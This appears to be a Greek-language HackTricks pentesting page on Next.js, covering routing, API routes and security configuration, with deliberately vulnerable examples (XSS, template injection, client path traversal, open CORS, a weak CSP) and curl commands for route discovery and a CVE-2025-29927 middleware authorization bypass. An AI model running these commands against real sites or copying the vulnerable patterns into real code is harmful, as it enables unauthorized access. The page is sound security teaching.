NextJS

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Γενική αρχιτεκτονική μιας εφαρμογής Next.js

Τυπική δομή αρχείων

Ένα τυπικό έργο Next.js ακολουθεί μια συγκεκριμένη δομή αρχείων και φακέλων που διευκολύνει λειτουργίες όπως routing, API endpoints και τη διαχείριση στατικών πόρων. Ακολουθεί μια τυπική διάταξη:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

Κύριοι Φάκελοι και Αρχεία

  • public/: Φιλοξενεί στατικά αρχεία όπως εικόνες, γραμματοσειρές και άλλα αρχεία. Τα αρχεία εδώ είναι προσβάσιμα στη ρίζα (/).
  • app/: Κεντρικός κατάλογος για τις σελίδες, layouts, components και API routes της εφαρμογής σας. Υιοθετεί το App Router παράδειγμα, επιτρέποντας προηγμένες δυνατότητες δρομολόγησης και διαχωρισμό server-client components.
  • app/layout.tsx: Ορίζει το root layout της εφαρμογής σας, περιβάλλει όλες τις σελίδες και παρέχει συνεπή στοιχεία UI όπως headers, footers και navigation bars.
  • app/page.tsx: Λειτουργεί ως σημείο εισόδου για τη ρίζα /, αποδίδοντας την αρχική σελίδα.
  • app/[route]/page.tsx: Διαχειρίζεται στατικές και δυναμικές διαδρομές. Κάθε φάκελος μέσα σε app/ αντιπροσωπεύει ένα segment διαδρομής, και το page.tsx μέσα σε αυτούς τους φακέλους αντιστοιχεί στο component της διαδρομής.
  • app/api/: Περιέχει API routes, επιτρέποντάς σας να δημιουργήσετε serverless functions που χειρίζονται HTTP requests. Αυτές οι διαδρομές αντικαθιστούν τον παραδοσιακό κατάλογο pages/api.
  • app/components/: Φιλοξενεί επαναχρησιμοποιήσιμα React components που μπορούν να χρησιμοποιηθούν σε διαφορετικές σελίδες και layouts.
  • app/styles/: Περιλαμβάνει global CSS αρχεία και CSS Modules για styling σε επίπεδο component.
  • app/utils/: Περιλαμβάνει utility functions, helper modules και άλλη μη-UI λογική που μπορεί να κοινοποιηθεί σε όλη την εφαρμογή.
  • .env.local: Αποθηκεύει μεταβλητές περιβάλλοντος ειδικές για το τοπικό development. Αυτές οι μεταβλητές δεν δεσμεύονται στο version control.
  • next.config.js: Προσαρμόζει τη συμπεριφορά του Next.js, συμπεριλαμβανομένων ρυθμίσεων webpack, μεταβλητών περιβάλλοντος και ρυθμίσεων ασφάλειας.
  • tsconfig.json: Ρυθμίζει τις επιλογές του TypeScript για το project, ενεργοποιώντας type checking και άλλες λειτουργίες του TypeScript.
  • package.json: Διαχειρίζεται εξαρτήσεις project, scripts και metadata.
  • README.md: Παρέχει τεκμηρίωση και πληροφορίες για το project, συμπεριλαμβανομένων οδηγιών εγκατάστασης, κανόνων χρήσης και άλλων σχετικών λεπτομερειών.
  • yarn.lock / package-lock.json: Κλειδώνουν τις εξαρτήσεις του project σε συγκεκριμένες εκδόσεις, εξασφαλίζοντας συνεπείς εγκαταστάσεις σε διαφορετικά περιβάλλοντα.

Client-Side στο Next.js

Δρομολόγηση βάσει αρχείων στον κατάλογο app

Ο κατάλογος app είναι το θεμέλιο της δρομολόγησης στις πιο πρόσφατες εκδόσεις του Next.js. Εκμεταλλεύεται το filesystem για να ορίσει routes, κάνοντας τη διαχείριση δρομολογίων διαισθητική και επεκτάσιμη.

Χειρισμός της ρίζας /

Δομή Αρχείων:

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Βασικά Αρχεία:

  • app/page.tsx: Χειρίζεται αιτήματα στην ριζική διαδρομή /.
  • app/layout.tsx: Ορίζει τη διάταξη για την εφαρμογή, που περιβάλλει όλες τις σελίδες.

Υλοποίηση:

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

Εξήγηση:

  • Ορισμός διαδρομής: Το αρχείο page.tsx που βρίσκεται απευθείας στον κατάλογο app αντιστοιχεί στη διαδρομή /.
  • Απόδοση: Αυτό το component αποδίδει το περιεχόμενο της αρχικής σελίδας.
  • Ενσωμάτωση Layout: Το component HomePage τυλίγεται από το layout.tsx, το οποίο μπορεί να περιλαμβάνει κεφαλίδες, υποσέλιδα και άλλα κοινά στοιχεία.
Διαχείριση άλλων στατικών διαδρομών

Παράδειγμα: /about Διαδρομή

Δομή αρχείων:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Υλοποίηση:

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

Επεξήγηση:

  • Ορισμός Διαδρομής: Το αρχείο page.tsx μέσα στον φάκελο about αντιστοιχεί στη διαδρομή /about.
  • Απόδοση: Αυτό το component αποδίδει το περιεχόμενο για τη σελίδα about.
Δυναμικές Διαδρομές

Οι δυναμικές διαδρομές επιτρέπουν τη διαχείριση μονοπατιών με μεταβλητά τμήματα, επιτρέποντας στις εφαρμογές να εμφανίζουν περιεχόμενο βάσει παραμέτρων όπως IDs, slugs, κ.λπ.

Παράδειγμα: /posts/[id] Διαδρομή

Δομή Αρχείων:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Υλοποίηση:

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

Επεξήγηση:

  • Δυναμικό Τμήμα: [id] δηλώνει ένα δυναμικό τμήμα στη διαδρομή, καταγράφοντας την παράμετρο id από το URL.
  • Πρόσβαση σε Παραμέτρους: Το αντικείμενο params περιέχει τις δυναμικές παραμέτρους, προσβάσιμες μέσα στο component.
  • Ταύτιση Διαδρομής: Οποιαδήποτε διαδρομή που ταιριάζει με /posts/*, όπως /posts/1, /posts/abc, κ.λπ., θα χειρίζεται από αυτό το component.
Φωλιασμένες διαδρομές

Next.js υποστηρίζει φωλιασμένη δρομολόγηση, επιτρέποντας ιεραρχικές δομές διαδρομών που αντικατοπτρίζουν τη διάταξη των φακέλων.

Παράδειγμα: Διαδρομή /dashboard/settings/profile

Δομή Αρχείων:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Υλοποίηση:

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

Επεξήγηση:

  • Deep Nesting: Το αρχείο page.tsx μέσα στο dashboard/settings/profile/ αντιστοιχεί στη διαδρομή /dashboard/settings/profile.
  • Hierarchy Reflection: Η δομή των φακέλων αντικατοπτρίζει τη διαδρομή URL, βελτιώνοντας τη δυνατότητα συντήρησης και τη σαφήνεια.
Διαδρομές Catch-All

Οι Catch-All διαδρομές χειρίζονται πολλαπλά εμφωλευμένα τμήματα ή άγνωστες διαδρομές, προσφέροντας ευελιξία στη διαχείριση δρομολόγησης.

Παράδειγμα: /* διαδρομή

Δομή αρχείων:

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Υλοποίηση:

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

Εξήγηση:

  • Catch-All Segment: [...slug] καταγράφει όλα τα εναπομείναντα τμήματα διαδρομής ως πίνακα.
  • Χρήση: Χρήσιμο για την αντιμετώπιση σεναρίων δυναμικής δρομολόγησης όπως διαδρομές που δημιουργούνται από χρήστες, εμφωλευμένες κατηγορίες κ.λπ.
  • Αντιστοίχιση Διαδρομής: Διαδρομές όπως /anything/here, /foo/bar/baz, κ.λπ., χειρίζονται από αυτό το συστατικό.

Πιθανές ευπάθειες στην πλευρά του πελάτη

Παρότι το Next.js παρέχει ένα ασφαλές θεμέλιο, λανθασμένες πρακτικές κωδικοποίησης μπορούν να εισαγάγουν ευπάθειες. Κύριες ευπάθειες στην πλευρά του πελάτη περιλαμβάνουν:

Cross-Site Scripting (XSS)

Οι επιθέσεις XSS συμβαίνουν όταν κακόβουλα scripts εισάγονται σε αξιόπιστες ιστοσελίδες. Οι επιτιθέμενοι μπορούν να εκτελέσουν scripts στους browsers των χρηστών, κλέβοντας δεδομένα ή πραγματοποιώντας ενέργειες εκ μέρους του χρήστη.

Παράδειγμα ευπαθούς κώδικα:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

Γιατί Είναι Ευάλωτο: Η χρήση του dangerouslySetInnerHTML με μη αξιόπιστη είσοδο επιτρέπει σε επιτιθέμενους να εισάγουν κακόβουλα scripts.

Client-Side Template Injection

Συμβαίνει όταν οι εισροές χρηστών χειρίζονται ακατάλληλα στα πρότυπα, επιτρέποντας σε επιτιθέμενους να εισάγουν και να εκτελέσουν πρότυπα ή εκφράσεις.

Παράδειγμα Ευάλωτου Κώδικα:

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

Γιατί Είναι Ευάλωτο: Αν το template ή τα data περιέχουν κακόβουλο περιεχόμενο, μπορεί να οδηγήσει στην εκτέλεση μη επιθυμητού code.

Client Path Traversal

Πρόκειται για ευπάθεια που επιτρέπει σε επιτιθέμενους να χειραγωγήσουν client-side paths για να εκτελέσουν μη επιθυμητές ενέργειες, όπως Cross-Site Request Forgery (CSRF). Σε αντίθεση με το server-side path traversal, το οποίο στοχεύει το filesystem του server, το CSPT επικεντρώνεται στην εκμετάλλευση μηχανισμών στην πλευρά του client για να αναδρομολογήσει νόμιμα API requests σε κακόβουλα endpoints.

Παράδειγμα Ευάλωτου Code:

Μια εφαρμογή Next.js επιτρέπει στους χρήστες να upload και να download αρχεία. Η λειτουργία download είναι υλοποιημένη στην πλευρά του client, όπου οι χρήστες μπορούν να καθορίσουν το file path για download.

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

Σενάριο επίθεσης

  1. Στόχος του επιτιθέμενου: Διεξαγωγή CSRF επίθεσης για να διαγραφεί ένα κρίσιμο αρχείο (π.χ. admin/config.json) μέσω χειραγώγησης του filePath.
  2. Εκμετάλλευση CSPT:
  • Κακόβουλη είσοδος: Ο επιτιθέμενος δημιουργεί ένα URL με χειραγωγημένο filePath, π.χ. ../deleteFile/config.json.
  • Προκύπτον αίτημα API: Ο client-side κώδικας κάνει αίτημα στο /api/files/../deleteFile/config.json.
  • Χειρισμός από τον server: Εάν ο server δεν επικυρώνει το filePath, επεξεργάζεται το αίτημα και ενδέχεται να διαγράψει ή να αποκαλύψει ευαίσθητα αρχεία.
  1. Εκτέλεση CSRF:
  • Κατασκευασμένος σύνδεσμος: Ο επιτιθέμενος στέλνει στο θύμα ένα σύνδεσμο ή ενσωματώνει κακόβουλο script που προκαλεί το αίτημα λήψης με το χειραγωγημένο filePath.
  • Αποτέλεσμα: Το θύμα εκτελεί άθελά του την ενέργεια, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση ή διαγραφή αρχείων.

Recon: ανακάλυψη static export routes μέσω _buildManifest

When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.

  • Grab the buildId from the root response (often printed at the bottom) or from <script> tags loading /_next/static/<buildId>/....
  • Fetch the manifest and extract routes:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
  • Χρησιμοποίησε τις ανακαλυφθείσες διαδρομές (για παράδειγμα /docs, /docs/content/examples, /signin) για να καθοδηγήσεις auth testing και endpoint discovery.

Server-Side στο Next.js

Server-Side Rendering (SSR)

Οι σελίδες αποδίδονται στον server σε κάθε αίτημα, εξασφαλίζοντας ότι ο χρήστης λαμβάνει πλήρως αποδομένο HTML. Σε αυτή την περίπτωση θα πρέπει να δημιουργήσεις τον δικό σου custom server για να επεξεργάζεται τα αιτήματα.

Περίπτωσεις χρήσης:

  • Δυναμικό περιεχόμενο που αλλάζει συχνά.
  • Βελτιστοποίηση SEO, καθώς οι μηχανές αναζήτησης μπορούν να ανιχνεύσουν τη σελίδα με το πλήρως αποδομένο περιεχόμενο.

Εφαρμογή:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Στατική δημιουργία σελίδων (SSG)

Οι σελίδες αποδίδονται εκ των προτέρων κατά το χρόνο build, με αποτέλεσμα ταχύτερους χρόνους φόρτωσης και μειωμένο φόρτο διακομιστή.

Περιπτώσεις χρήσης:

  • Περιεχόμενο που δεν αλλάζει συχνά.
  • Ιστολόγια, τεκμηρίωση, σελίδες μάρκετινγκ.

Υλοποίηση:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Λειτουργίες serverless (API Routes)

Next.js επιτρέπει τη δημιουργία API endpoints ως serverless functions. Αυτές οι λειτουργίες εκτελούνται κατά ζήτηση χωρίς την ανάγκη για αφιερωμένο διακομιστή.

Περιπτώσεις Χρήσης:

  • Επεξεργασία υποβολών φορμών.
  • Αλληλεπίδραση με βάσεις δεδομένων.
  • Επεξεργασία δεδομένων ή ενσωμάτωση με third-party APIs.

Υλοποίηση:

Με την εισαγωγή του καταλόγου app στο Next.js 13, το routing και η διαχείριση API έγιναν πιο ευέλικτα και ισχυρά. Αυτή η σύγχρονη προσέγγιση ευθυγραμμίζεται στενά με το file-based routing system αλλά εισάγει βελτιωμένες δυνατότητες, συμπεριλαμβανομένης της υποστήριξης για server και client components.

Basic Route Handler

File Structure:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

Υλοποίηση:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

Εξήγηση:

  • Τοποθεσία: Οι διαδρομές API τοποθετούνται στο φάκελο app/api/.
  • Ονομασία Αρχείων: Κάθε API endpoint βρίσκεται σε ξεχωριστό φάκελο που περιέχει ένα αρχείο route.js ή route.ts.
  • Εξαγόμενες Συναρτήσεις: Αντί για ένα ενιαίο default export, εξάγονται συγκεκριμένες συναρτήσεις για HTTP μεθόδους (π.χ. GET, POST).
  • Διαχείριση Απαντήσεων: Χρησιμοποιήστε τον constructor Response για να επιστρέψετε απαντήσεις, δίνοντας περισσότερο έλεγχο στα headers και στα status codes.

Πώς να χειριστείτε άλλες διαδρομές και μεθόδους:

Χειρισμός Συγκεκριμένων HTTP Μεθόδων

Το Next.js 13+ επιτρέπει να ορίζετε handlers για συγκεκριμένες HTTP μεθόδους μέσα στο ίδιο αρχείο route.js ή route.ts, προωθώντας πιο σαφή και οργανωμένο κώδικα.

Παράδειγμα:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

Εξήγηση:

  • Πολλαπλές Εξαγωγές: Κάθε HTTP μέθοδος (GET, PUT, DELETE) έχει τη δική της εξαγόμενη συνάρτηση.
  • Παράμετροι: Το δεύτερο όρισμα παρέχει πρόσβαση στις παραμέτρους διαδρομής μέσω του params.
  • Βελτιωμένες Απαντήσεις: Μεγαλύτερος έλεγχος στα αντικείμενα απάντησης, επιτρέποντας ακριβή διαχείριση κεφαλίδων και κωδικών κατάστασης.
Catch-All και Nested Routes

Next.js 13+ υποστηρίζει προηγμένα χαρακτηριστικά δρομολόγησης όπως catch-all routes και nested API routes, επιτρέποντας πιο δυναμικές και κλιμακούμενες δομές API.

Παράδειγμα Catch-All Route:

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

Επεξήγηση:

  • Σύνταξη: [...] δηλώνει ένα catch-all segment, που συλλαμβάνει όλα τα nested paths.
  • Χρήση: Χρήσιμο για APIs που πρέπει να χειριστούν μεταβαλλόμενο βάθος routes ή dynamic segments.

Παράδειγμα Nested Routes:

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

Επεξήγηση:

  • Deep Nesting: Επιτρέπει ιεραρχικές δομές API, που αντανακλούν τις σχέσεις μεταξύ πόρων.
  • Parameter Access: Εύκολη πρόσβαση σε πολλαπλές παραμέτρους διαδρομής μέσω του αντικειμένου params.
Διαχείριση API routes σε Next.js 12 και παλαιότερα

API Routes στον κατάλογο pages (Next.js 12 και παλαιότερα)

Πριν το Next.js 13 εισαγάγει τον κατάλογο app και τις βελτιωμένες δυνατότητες routing, οι API routes ορίζονταν κυρίως μέσα στον κατάλογο pages. Αυτή η προσέγγιση εξακολουθεί να χρησιμοποιείται ευρέως και υποστηρίζεται στις εκδόσεις Next.js 12 και παλαιότερες.

Βασικό API Route

Δομή Αρχείων:

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

Υλοποίηση:

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

Επεξήγηση:

  • Τοποθεσία: Οι API routes βρίσκονται στον κατάλογο pages/api/.
  • Export: Χρησιμοποιήστε export default για να ορίσετε τη συνάρτηση χειριστή.
  • Υπογραφή συνάρτησης: Ο χειριστής λαμβάνει τα αντικείμενα req (HTTP request) και res (HTTP response).
  • Routing: Το όνομα αρχείου (hello.js) αντιστοιχεί στο endpoint /api/hello.

Δυναμικές API Routes

Δομή αρχείων:

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

Υλοποίηση:

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Εξήγηση:

  • Δυναμικά Τμήματα: Οι αγκύλες ([id].js) υποδηλώνουν δυναμικά τμήματα δρομολόγησης.
  • Πρόσβαση Παραμέτρων: Χρησιμοποιήστε req.query.id για να προσπελάσετε τη δυναμική παράμετρο.
  • Χειρισμός Μεθόδων: Χρησιμοποιήστε λογική με βάση συνθήκες για να χειριστείτε διαφορετικές HTTP methods (GET, PUT, DELETE, κ.λπ.).

Χειρισμός Διαφορετικών HTTP methods

Ενώ το βασικό API route example χειρίζεται όλες τις HTTP methods μέσα σε μια ενιαία συνάρτηση, μπορείτε να δομήσετε τον κώδικά σας ώστε να χειρίζεται κάθε μέθοδο ρητώς για καλύτερη σαφήνεια και συντηρησιμότητα.

Παράδειγμα:

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Καλές Πρακτικές:

  • Διαχωρισμός ευθυνών: Διαχωρίστε σαφώς τη λογική για διαφορετικές μεθόδους HTTP.
  • Συνοχή Απαντήσεων: Διασφαλίστε συνεπή δομή απαντήσεων για ευκολότερη διαχείριση από την πλευρά του client.
  • Χειρισμός Σφαλμάτων: Διαχειριστείτε ομαλά μη υποστηριζόμενες μεθόδους και απροσδόκητα σφάλματα.

Διαμόρφωση CORS

Ελέγξτε ποιες origins μπορούν να έχουν πρόσβαση στις API routes σας, μετριάζοντας τις ευπάθειες Cross-Origin Resource Sharing (CORS).

Κακό Παράδειγμα Διαμόρφωσης:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

Σημειώστε ότι το CORS μπορεί επίσης να ρυθμιστεί σε όλες τις API routes μέσα στο middleware.ts αρχείο:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

Πρόβλημα:

  • Access-Control-Allow-Origin: '*': Επιτρέπει σε οποιονδήποτε ιστότοπο να έχει πρόσβαση στο API, ενδεχομένως επιτρέποντας σε κακόβουλους ιστότοπους να αλληλεπιδρούν με το API σας χωρίς περιορισμούς.
  • Ευρεία επιτρεπόμενη χρήση μεθόδων: Η αποδοχή όλων των μεθόδων μπορεί να επιτρέψει σε επιτιθέμενους να εκτελέσουν ανεπιθύμητες ενέργειες.

Πώς το εκμεταλλεύονται οι επιτιθέμενοι:

Οι επιτιθέμενοι μπορούν να δημιουργήσουν κακόβουλους ιστότοπους που στέλνουν αιτήματα στο API σας, εκμεταλλευόμενοι λειτουργίες όπως ανάκτηση δεδομένων, τροποποίηση δεδομένων ή την ενεργοποίηση ανεπιθύμητων ενεργειών εκ μέρους αυθεντικοποιημένων χρηστών.

CORS - Misconfigurations & Bypass

Έκθεση κώδικα server στο client side

Είναι εύκολο να συμβεί να χρησιμοποιείται κώδικας που τρέχει στον server και επίσης να εκτίθεται/χρησιμοποιείται στην client side, ο καλύτερος τρόπος για να διασφαλίσετε ότι ένα αρχείο κώδικα δεν θα εκτεθεί στην client side είναι να χρησιμοποιήσετε αυτό το import στην αρχή του αρχείου:

import "server-only"

Κύρια Αρχεία και Ο ρόλος τους

middleware.ts / middleware.js

Τοποθεσία: Στη ρίζα του έργου ή μέσα στο src/.

Σκοπός: Εκτελεί κώδικα σε μια server-side serverless function πριν επεξεργαστεί ένα request, επιτρέποντας εργασίες όπως authentication, redirects ή τροποποίηση των responses.

Ροή Εκτέλεσης:

  1. Εισερχόμενο Request: Το middleware παρεμβαίνει στο request.
  2. Επεξεργασία: Εκτελεί λειτουργίες με βάση το request (π.χ., έλεγχος authentication).
  3. Τροποποίηση Response: Μπορεί να αλλάξει το response ή να περάσει τον έλεγχο στον επόμενο handler.

Παραδείγματα Χρήσης:

  • Ανακατεύθυνση μη αυθεντικοποιημένων χρηστών.
  • Προσθήκη προσαρμοσμένων headers.
  • Καταγραφή αιτήσεων.

Δείγμα διαμόρφωσης:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

Αν η εξουσιοδότηση εφαρμόζεται στο middleware, οι επηρεασμένες εκδόσεις του Next.js (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) μπορούν να παρακαμφθούν με την εισαγωγή της κεφαλίδας x-middleware-subrequest. Το framework θα παραλείψει την αναδρομή του middleware και θα επιστρέψει τη προστατευμένη σελίδα.

  • Η βασική συμπεριφορά είναι συνήθως ένα 307 redirect σε ένα login route όπως /api/auth/signin.
  • Στείλτε μια μεγάλη τιμή για το x-middleware-subrequest (επανάλαβε middleware για να φτάσετε το MAX_RECURSION_DEPTH) ώστε να αλλάξει η απάντηση σε 200:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
  • Επειδή οι επαληθευμένες σελίδες φορτώνουν πολλούς υπο-πόρους, πρόσθεσε την κεφαλίδα σε κάθε αίτημα (π.χ., Burp Match/Replace με κενή συμβολοσειρά αντιστοίχισης) ώστε οι πόροι να μην ανακατευθυνθούν.

next.config.js

Location: Root του project.

Purpose: Ρυθμίζει τη συμπεριφορά του Next.js, ενεργοποιώντας ή απενεργοποιώντας λειτουργίες, προσαρμόζοντας ρυθμίσεις του webpack, ορίζοντας μεταβλητές περιβάλλοντος και διαμορφώνοντας διάφορα χαρακτηριστικά ασφαλείας.

Key Security Configurations:

Κεφαλίδες Ασφαλείας

Οι κεφαλίδες ασφαλείας ενισχύουν την ασφάλεια της εφαρμογής σας δίνοντας οδηγίες στους browsers για το πώς να χειριστούν το περιεχόμενο. Βοηθούν στη μείωση κινδύνου επιθέσεων όπως Cross-Site Scripting (XSS), Clickjacking και MIME type sniffing:

  • Content Security Policy (CSP)
  • X-Frame-Options
  • X-Content-Type-Options
  • Strict-Transport-Security (HSTS)
  • Referrer Policy

Παραδείγματα:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
Ρυθμίσεις Βελτιστοποίησης Εικόνας

Next.js βελτιστοποιεί τις εικόνες για απόδοση, αλλά λανθασμένες ρυθμίσεις μπορούν να οδηγήσουν σε ευπάθειες ασφαλείας, όπως το να επιτρέπουν σε μη αξιόπιστες πηγές να εισάγουν κακόβουλο περιεχόμενο.

Κακό Παράδειγμα Διαμόρφωσης:

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

Πρόβλημα:

